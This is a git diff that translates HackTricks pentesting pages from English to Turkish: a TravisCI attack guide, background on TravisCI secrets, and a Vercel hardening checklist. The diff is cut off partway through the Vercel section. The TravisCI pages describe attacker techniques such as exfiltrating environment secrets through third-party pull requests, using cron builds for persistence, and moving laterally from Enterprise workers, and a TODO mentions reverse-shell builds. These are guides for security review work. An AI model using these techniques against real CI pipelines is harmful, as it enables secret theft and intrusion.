-Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
+Github PR'ları, bu platformların bir saldırgan perspektifinden nasıl (kötüye) kullanılacağını açıklayan katkılara açıktır.
- Drone
- TeamCity
@@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
- Rancher
- Mesosphere
- Radicle
-- Any other CI/CD platform...
+- Diğer herhangi bir CI/CD platformu...
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index cff623392..e5d62ff19 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -1,69 +1,65 @@
-# TravisCI Security
+# TravisCI Güvenliği
{{#include ../../banners/hacktricks-training.md}}
-## What is TravisCI
+## TravisCI Nedir
-**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
+**Travis CI**, çeşitli **farklı git platformlarında** barındırılan yazılım projelerini oluşturmak ve test etmek için kullanılan **barındırılan** veya yerinde **sürekli entegrasyon** hizmetidir.
{{#ref}}
basic-travisci-information.md
{{#endref}}
-## Attacks
+## Saldırılar
-### Triggers
+### Tetikleyiciler
-To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
+Bir saldırı başlatmak için önce bir yapıyı nasıl tetikleyeceğinizi bilmeniz gerekir. Varsayılan olarak, TravisCI **push'lar ve pull request'ler üzerinde bir yapıyı tetikler**:
.png>)
-#### Cron Jobs
+#### Cron Görevleri
-If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
+Web uygulamasına erişiminiz varsa, **yapıyı çalıştırmak için cron'lar ayarlayabilirsiniz**, bu kalıcılık için veya bir yapıyı tetiklemek için faydalı olabilir:
.png>)
> [!NOTE]
-> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
+> [bu](https://github.com/travis-ci/travis-ci/issues/9162) kaynağına göre `.travis.yml` içinde cron ayarlamanın mümkün olmadığını gösteriyor.
-### Third Party PR
+### Üçüncü Taraf PR
-TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
+TravisCI varsayılan olarak üçüncü taraflardan gelen PR'larla ortam değişkenlerini paylaşmayı devre dışı bırakır, ancak biri bunu etkinleştirebilir ve ardından depoya PR'lar oluşturarak gizli bilgileri dışarı sızdırabilirsiniz:
.png>)
-### Dumping Secrets
+### Gizli Bilgileri Dökme
-As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
+[**temel bilgiler**](basic-travisci-information.md) sayfasında açıklandığı gibi, 2 tür gizli bilgi vardır. **Ortam Değişkenleri gizli bilgileri** (web sayfasında listelenen) ve **özel şifreli gizli bilgiler**, bunlar `.travis.yml` dosyasında base64 olarak saklanır (her ikisi de şifreli olarak saklandığında son makinelerde ortam değişkenleri olarak sonlanır).
-- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
-- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
-- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
+- **Ortam Değişkenleri** olarak yapılandırılan **gizli bilgileri listelemek** için **projenin** **ayarlarına** gidin ve listeyi kontrol edin. Ancak, burada ayarlanan tüm proje ortam değişkenlerinin bir yapı tetiklendiğinde görüneceğini unutmayın.
+- **Özel şifreli gizli bilgileri** listelemek için yapabileceğiniz en iyi şey **`.travis.yml` dosyasını kontrol etmektir**.
+- **Şifreli dosyaları** listelemek için, yapılandırma dosyasında `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` gibi satırlar için depoda **`.enc` dosyalarını** kontrol edebilir veya **Ortam Değişkenleri** içinde **şifreli iv ve anahtarlar** arayabilirsiniz:
.png>)
-### TODO:
+### YAPILACAKLAR:
-- Example build with reverse shell running on Windows/Mac/Linux
-- Example build leaking the env base64 encoded in the logs
+- Windows/Mac/Linux üzerinde çalışan ters shell ile örnek yapı
+- Günlüklerde base64 kodlu ortamı sızdıran örnek yapı
-### TravisCI Enterprise
+### TravisCI Kurumsal
-If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
+Bir saldırgan **TravisCI kurumsal** kullanan bir ortamda sona ererse (bu konuda daha fazla bilgi [**temel bilgiler**](basic-travisci-information.md#travisci-enterprise) sayfasında), **Worker'da yapıları tetikleyebilir.** Bu, bir saldırganın o sunucuya yanlamasına geçebileceği anlamına gelir ve bu sunucudan:
-- escape to the host?
-- compromise kubernetes?
-- compromise other machines running in the same network?
-- compromise new cloud credentials?
+- ana makineye kaçabilir mi?
+- kubernetes'i tehlikeye atabilir mi?
+- aynı ağda çalışan diğer makineleri tehlikeye atabilir mi?
+- yeni bulut kimlik bilgilerini tehlikeye atabilir mi?
-## References
+## Referanslar
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 46b10bf38..202ee073b 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -1,48 +1,45 @@
-# Basic TravisCI Information
+# Temel TravisCI Bilgisi
{{#include ../../banners/hacktricks-training.md}}
-## Access
+## Erişim
-TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
+TravisCI, Github, Bitbucket, Assembla ve Gitlab gibi farklı git platformlarıyla doğrudan entegre olur. Kullanıcıdan, TravisCI ile entegre etmek istediği reposuna erişim izni vermesi istenir.
-For example, in Github it will ask for the following permissions:
+Örneğin, Github'da aşağıdaki izinler istenir:
-- `user:email` (read-only)
-- `read:org` (read-only)
-- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
+- `user:email` (sadece okunabilir)
+- `read:org` (sadece okunabilir)
+- `repo`: Kamu ve özel depolar ve organizasyonlar için kod, commit durumları, işbirlikçileri ve dağıtım durumlarına okuma ve yazma erişimi verir.
-## Encrypted Secrets
+## Şifreli Gizli Bilgiler
-### Environment Variables
+### Ortam Değişkenleri
-In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
+TravisCI'da, diğer CI platformlarında olduğu gibi, **repo seviyesinde gizli bilgileri kaydetmek** mümkündür; bu bilgiler şifrelenerek kaydedilir ve **şifrelenmiş olarak, build'i gerçekleştiren makinenin ortam değişkenine** itilir.
.png>)
-It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
+**Gizli bilgilerin hangi dallarda mevcut olacağını** belirtmek mümkündür (varsayılan olarak hepsi) ve ayrıca TravisCI'nın **değerini gizleyip gizlememesi gerektiği** (varsayılan olarak gizleyecektir) belirtilebilir.
-### Custom Encrypted Secrets
+### Özel Şifreli Gizli Bilgiler
-For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
-
-You can access the public key of one repo with:
+**Her repo için** TravisCI, bir **RSA anahtar çifti** oluşturur, **özel** olanı **saklar** ve depo sahiplerine **erişim** sağlayanların kullanımına **açık anahtarı** sunar.
+Bir reposunun açık anahtarına şu şekilde erişebilirsiniz:
```
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-
-Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
+Sonra, bu ayarı kullanarak **gizli bilgileri şifreleyebilir ve bunları `.travis.yaml` dosyanıza ekleyebilirsiniz**. Gizli bilgiler **derleme çalıştırıldığında çözülür** ve **çevresel değişkenlerde** erişilebilir hale gelir.
.png>)
-Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
+Bu şekilde şifrelenmiş gizli bilgilerin ayarların çevresel değişkenlerinde listelenmeyeceğini unutmayın.
-### Custom Encrypted Files
-
-Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
+### Özel Şifreli Dosyalar
+Önceki gibi, TravisCI ayrıca **dosyaları şifrelemeye ve ardından derleme sırasında çözmeye** de izin verir:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -52,7 +49,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
- openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
+openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
-
-Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
+Not edin ki bir dosyayı şifrelerken, repoda 2 Env Değişkeni yapılandırılacaktır:
.png>)
## TravisCI Enterprise
-Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
+Travis CI Enterprise, **Travis CI'nin yerel versiyonudur**, bunu **altyapınızda** dağıtabilirsiniz. Travis CI'nin 'sunucu' versiyonu olarak düşünün. Travis CI kullanmak, istediğiniz gibi yapılandırıp güvence altına alabileceğiniz bir ortamda kullanımı kolay bir Sürekli Entegrasyon/Sürekli Dağıtım (CI/CD) sistemini etkinleştirmenizi sağlar.
-**Travis CI Enterprise consists of two major parts:**
+**Travis CI Enterprise iki ana bölümden oluşur:**
-1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
-2. TCI **Worker** and build environment images (also called OS images).
+1. TCI **hizmetleri** (veya TCI Temel Hizmetleri), sürüm kontrol sistemleriyle entegrasyondan, derlemeleri yetkilendirmeye, derleme işlerini planlamaya kadar sorumludur.
+2. TCI **Worker** ve derleme ortamı görüntüleri (aynı zamanda OS görüntüleri olarak da adlandırılır).
-**TCI Core services require the following:**
+**TCI Temel hizmetleri aşağıdakileri gerektirir:**
-1. A **PostgreSQL11** (or later) database.
-2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
-3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
+1. Bir **PostgreSQL11** (veya daha yeni) veritabanı.
+2. Bir Kubernetes kümesini dağıtmak için bir altyapı; gerekirse bir sunucu kümesinde veya tek bir makinede dağıtılabilir.
+3. Kurulumunuza bağlı olarak, bazı bileşenleri kendi başınıza dağıtmak ve yapılandırmak isteyebilirsiniz, örneğin, RabbitMQ - daha fazla ayrıntı için [Travis CI Enterprise Kurulumu](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) sayfasına bakın.
-**TCI Worker requires the following:**
+**TCI Worker aşağıdakileri gerektirir:**
-1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
-2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
+1. **Worker ve bağlı bir derleme görüntüsünü içeren bir docker görüntüsünün dağıtılabileceği** bir altyapı.
+2. Belirli Travis CI Temel Hizmetleri bileşenlerine bağlantı - daha fazla ayrıntı için [Worker Kurulumu](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) sayfasına bakın.
-The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
+Dağıtılan TCI Worker ve derleme ortamı OS görüntülerinin sayısı, altyapınızdaki Travis CI Enterprise dağıtımının toplam eşzamanlı kapasitesini belirleyecektir.
.png>)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 16dc93da7..c57a36155 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -2,440 +2,439 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Temel Bilgiler
-In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
+Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, bir **uygulama**dır.
-For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
+**Vercel** için bir güvenlik incelemesi yapmak istiyorsanız, kontrol etmek için **Görüntüleyici rol izni** olan bir kullanıcı talep etmeniz veya en azından **Projeye ait görüntüleyici izni** almanız gerekir (eğer sadece projeleri kontrol etmeniz gerekiyorsa ve Ekip yapılandırmasını kontrol etmenize gerek yoksa).
-## Project Settings
+## Proje Ayarları
-### General
+### Genel
-**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
+**Amaç:** Proje adı, çerçeve ve derleme yapılandırmaları gibi temel proje ayarlarını yönetmek.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
- **Transfer**
- - **Misconfiguration:** Allows to transfer the project to another team
- - **Risk:** An attacker could steal the project
-- **Delete Project**
- - **Misconfiguration:** Allows to delete the project
- - **Risk:** Delete the prject
+- **Yanlış Yapılandırma:** Projeyi başka bir ekibe aktarmaya izin verir
+- **Risk:** Bir saldırgan projeyi çalabilir
+- **Proje Sil**
+- **Yanlış Yapılandırma:** Projeyi silmeye izin verir
+- **Risk:** Projeyi silmek
---
-### Domains
+### Alan Adları
-**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
+**Amaç:** Özel alan adlarını, DNS ayarlarını ve SSL yapılandırmalarını yönetmek.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **DNS Configuration Errors**
- - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- - **Risk:** Domain hijacking, traffic interception, and phishing attacks.
-- **SSL/TLS Certificate Management**
- - **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
-- **DNSSEC Implementation**
- - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
-- **Environment used per domain**
- - **Misconfiguration:** Change the environment used by the domain in production.
- - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
+- **DNS Yapılandırma Hataları**
+- **Yanlış Yapılandırma:** Kötü niyetli sunuculara işaret eden yanlış DNS kayıtları (A, CNAME).
+- **Risk:** Alan adı kaçırma, trafik kesintisi ve kimlik avı saldırıları.
+- **SSL/TLS Sertifika Yönetimi**
+- **Yanlış Yapılandırma:** Zayıf veya süresi dolmuş SSL/TLS sertifikalarının kullanılması.
+- **Risk:** Ortadaki adam (MITM) saldırılarına karşı savunmasızlık, veri bütünlüğü ve gizliliğin tehlikeye girmesi.
+- **DNSSEC Uygulaması**
+- **Yanlış Yapılandırma:** DNSSEC'i etkinleştirmemek veya yanlış DNSSEC ayarları.
+- **Risk:** DNS sahtekarlığı ve önbellek zehirlenmesi saldırılarına karşı artan hassasiyet.
+- **Her alan için kullanılan ortam**
+- **Yanlış Yapılandırma:** Üretimde alan tarafından kullanılan ortamı değiştirmek.
+- **Risk:** Üretimde mevcut olmaması gereken potansiyel sırların veya işlevlerin açığa çıkması.
---
-### Environments
+### Ortamlar
-**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
+**Amaç:** Belirli ayarlar ve değişkenlerle farklı ortamları (Geliştirme, Önizleme, Üretim) tanımlamak.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Environment Isolation**
- - **Misconfiguration:** Sharing environment variables across environments.
- - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
-- **Access to Sensitive Environments**
- - **Misconfiguration:** Allowing broad access to production environments.
- - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
+- **Ortam İzolasyonu**
+- **Yanlış Yapılandırma:** Ortamlar arasında ortam değişkenlerini paylaşmak.
+- **Risk:** Üretim sırlarının geliştirme veya önizleme ortamlarına sızması, maruziyeti artırır.
+- **Hassas Ortamlara Erişim**
+- **Yanlış Yapılandırma:** Üretim ortamlarına geniş erişime izin vermek.
+- **Risk:** Yetkisiz değişiklikler veya canlı uygulamalara erişim, potansiyel kesintilere veya veri ihlallerine yol açabilir.
---
-### Environment Variables
+### Ortam Değişkenleri
-**Purpose:** Manage environment-specific variables and secrets used by the application.
+**Amaç:** Uygulama tarafından kullanılan ortam spesifik değişkenleri ve sırları yönetmek.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-- **Shared Environment Variables**
- - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Hassas Değişkenlerin Açığa Çıkması**
+- **Yanlış Yapılandırma:** Hassas değişkenleri `NEXT_PUBLIC_` ile öneklemek, bunları istemci tarafında erişilebilir hale getirir.
+- **Risk:** API anahtarlarının, veritabanı kimlik bilgilerinin veya diğer hassas verilerin kamuya açılması, veri ihlallerine yol açar.
+- **Hassas devre dışı**
+- **Yanlış Yapılandırma:** Devre dışı bırakıldığında (varsayılan) üretilen sırların değerlerini okumak mümkündür.
+- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması.
+- **Paylaşılan Ortam Değişkenleri**
+- **Yanlış Yapılandırma:** Bunlar Ekip seviyesinde ayarlanan ortam değişkenleridir ve hassas bilgiler içerebilir.
+- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması.
---
### Git
-**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
+**Amaç:** Git depo entegrasyonlarını, dal korumalarını ve dağıtım tetikleyicilerini yapılandırmak.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Ignored Build Step (TODO)**
- - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- - **Risk:** TBD
+- **Göz ardı Edilen Derleme Adımı (TODO)**
+- **Yanlış Yapılandırma:** Bu seçeneğin, Github'a yeni bir commit gönderildiğinde çalıştırılacak bir bash scripti/komutları yapılandırmaya izin verdiği görünmektedir, bu da RCE'ye izin verebilir.
+- **Risk:** TBD
---
-### Integrations
+### Entegrasyonlar
-**Purpose:** Connect third-party services and tools to enhance project functionalities.
+**Amaç:** Proje işlevselliğini artırmak için üçüncü taraf hizmetler ve araçlarla bağlantı kurmak.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Insecure Third-Party Integrations**
- - **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
-- **Over-Permissioned Integrations**
- - **Misconfiguration:** Granting excessive permissions to integrated services.
- - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
-- **Lack of Integration Monitoring**
- - **Misconfiguration:** Failing to monitor and audit third-party integrations.
- - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
+- **Güvensiz Üçüncü Taraf Entegrasyonları**
+- **Yanlış Yapılandırma:** Güvenilmeyen veya güvensiz üçüncü taraf hizmetlerle entegrasyon.
+- **Risk:** Kompromize entegrasyonlar aracılığıyla zafiyetler, veri sızıntıları veya arka kapılar eklenmesi.
+- **Aşırı İzinli Entegrasyonlar**
+- **Yanlış Yapılandırma:** Entegre hizmetlere aşırı izinler vermek.
+- **Risk:** Proje kaynaklarına yetkisiz erişim, veri manipülasyonu veya hizmet kesintileri.
+- **Entegrasyon İzleme Eksikliği**
+- **Yanlış Yapılandırma:** Üçüncü taraf entegrasyonları izlemeyi ve denetlemeyi ihmal etmek.
+- **Risk:** Kompromize entegrasyonların gecikmeli tespiti, güvenlik ihlallerinin potansiyel etkisini artırır.
---
-### Deployment Protection
+### Dağıtım Koruması
-**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
+**Amaç:** Dağıtımları çeşitli koruma mekanizmalarıyla güvence altına almak, kimlerin ortamlarınıza erişebileceğini ve dağıtım yapabileceğini kontrol etmek.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-**Vercel Authentication**
+**Vercel Kimlik Doğrulaması**
-- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
-- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
+- **Yanlış Yapılandırma:** Kimlik doğrulamayı devre dışı bırakmak veya ekip üyesi kontrollerini zorunlu kılmamak.
+- **Risk:** Yetkisiz kullanıcılar dağıtımlara erişebilir, bu da veri ihlallerine veya uygulama kötüye kullanımına yol açar.
-**Protection Bypass for Automation**
+**Otomasyon için Koruma Atlatma**
-- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
-- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
+- **Yanlış Yapılandırma:** Atlatma sırrını kamuya açmak veya zayıf sırlar kullanmak.
+- **Risk:** Saldırganlar dağıtım korumalarını atlatabilir, korunan dağıtımlara erişebilir ve bunları manipüle edebilir.
-**Shareable Links**
+**Paylaşılabilir Bağlantılar**
-- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
-- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
+- **Yanlış Yapılandırma:** Bağlantıları kayıtsızca paylaşmak veya eski bağlantıları iptal etmemek.
+- **Risk:** Korunan dağıtımlara yetkisiz erişim, kimlik doğrulama ve IP kısıtlamalarını atlatma.
-**OPTIONS Allowlist**
+**OPTIONS İzin Listesi**
-- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
-- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
+- **Yanlış Yapılandırma:** Aşırı geniş yolları veya hassas uç noktaları izin listesine almak.
+- **Risk:** Saldırganlar, yetkisiz eylemler gerçekleştirmek veya güvenlik kontrollerini atlatmak için korunmasız yolları istismar edebilir.
-**Password Protection**
+**Şifre Koruması**
-- **Misconfiguration:** Using weak passwords or sharing them insecurely.
-- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Yanlış Yapılandırma:** Zayıf şifreler kullanmak veya bunları güvensiz bir şekilde paylaşmak.
+- **Risk:** Şifreler tahmin edilirse veya sızdırılırsa dağıtımlara yetkisiz erişim.
-**Deployment Protection Exceptions**
+**Not:** **Gelişmiş Dağıtım Koruması** kapsamında **Pro** planında mevcuttur, ek olarak aylık 150 $.
-- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
-- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+**Dağıtım Koruma İstisnaları**
-**Trusted IPs**
+- **Yanlış Yapılandırma:** Üretim veya hassas alan adlarını yanlışlıkla istisna listesine eklemek.
+- **Risk:** Kritik dağıtımların kamuya açılması, veri sızıntılarına veya yetkisiz erişime yol açabilir.
-- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
-- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
-- **Note:** Available on the **Enterprise** plan.
+**Not:** **Gelişmiş Dağıtım Koruması** kapsamında **Pro** planında mevcuttur, ek olarak aylık 150 $.
+
+**Güvenilir IP'ler**
+
+- **Yanlış Yapılandırma:** IP adreslerini veya CIDR aralıklarını yanlış belirtmek.
+- **Risk:** Meşru kullanıcıların engellenmesi veya yetkisiz IP'lerin erişim kazanması.
+
+**Not:** **Kurumsal** planda mevcuttur.
---
-### Functions
+### Fonksiyonlar
-**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
+**Amaç:** Sunucusuz fonksiyonları, çalışma zamanı ayarlarını, bellek tahsisini ve güvenlik politikalarını yapılandırmak.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Nothing**
+- **Hiçbiri**
---
-### Data Cache
+### Veri Önbelleği
-**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
+**Amaç:** Performansı optimize etmek ve veri depolamasını kontrol etmek için önbellekleme stratejilerini ve ayarlarını yönetmek.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Purge Cache**
- - **Misconfiguration:** It allows to delete all the cache.
- - **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
+- **Önbelleği Temizle**
+- **Yanlış Yapılandırma:** Tüm önbelleği silmeye izin verir.
+- **Risk:** Yetkisiz kullanıcıların önbelleği silmesi, potansiyel bir DoS'a yol açar.
---
-### Cron Jobs
+### Cron Görevleri
-**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
+**Amaç:** Belirli aralıklarla otomatik görevler ve scriptler planlamak.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Disable Cron Job**
- - **Misconfiguration:** It allows to disable cron jobs declared inside the code
- - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
+- **Cron Görevini Devre Dışı Bırak**
+- **Yanlış Yapılandırma:** Kod içinde tanımlanan cron görevlerini devre dışı bırakmaya izin verir.
+- **Risk:** Hizmetin kesintiye uğraması (cron görevlerinin ne amaçla kullanıldığına bağlı olarak).
---
### Log Drains
-**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
+**Amaç:** İzleme ve denetleme için uygulama günlüklerini yakalamak ve depolamak üzere dış günlükleme hizmetlerini yapılandırmak.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- Nothing (managed from teams settings)
+- Hiçbiri (takım ayarlarından yönetilir)
---
-### Security
+### Güvenlik
-**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
+**Amaç:** Proje erişimini, kaynak korumasını ve daha fazlasını etkileyen çeşitli güvenlik ile ilgili ayarlar için merkezi bir merkez.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-**Build Logs and Source Protection**
+**Derleme Günlükleri ve Kaynak Koruması**
-- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
-- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
+- **Yanlış Yapılandırma:** Korumayı devre dışı bırakmak veya `/logs` ve `/src` yollarını kamuya açmak.
+- **Risk:** Derleme günlüklerine ve kaynak koduna yetkisiz erişim, bilgi sızıntılarına ve potansiyel zafiyetlerin istismarına yol açar.
-**Git Fork Protection**
+**Git Fork Koruması**
-- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
-- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
+- **Yanlış Yapılandırma:** Uygun incelemeler olmadan yetkisiz çekme isteklerine izin vermek.
+- **Risk:** Kötü niyetli kod, kod tabanına birleştirilebilir, zafiyetler veya arka kapılar eklenebilir.
-**Secure Backend Access with OIDC Federation**
+**OIDC Federasyonu ile Güvenli Arka Uç Erişimi**
-- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
-- **Risk:** Unauthorized access to backend services through flawed authentication flows.
+- **Yanlış Yapılandırma:** OIDC parametrelerini yanlış ayarlamak veya güvensiz verici URL'leri kullanmak.
+- **Risk:** Hatalı kimlik doğrulama akışları aracılığıyla arka uç hizmetlerine yetkisiz erişim.
-**Deployment Retention Policy**
+**Dağıtım Saklama Politikası**
-- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
-- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
+- **Yanlış Yapılandırma:** Saklama sürelerini çok kısa (dağıtım geçmişini kaybetmek) veya çok uzun (gereksiz veri saklama) ayarlamak.
+- **Risk:** Gerekli olduğunda geri alma yapamama veya eski dağıtımlardan veri açığa çıkma riskinin artması.
-**Recently Deleted Deployments**
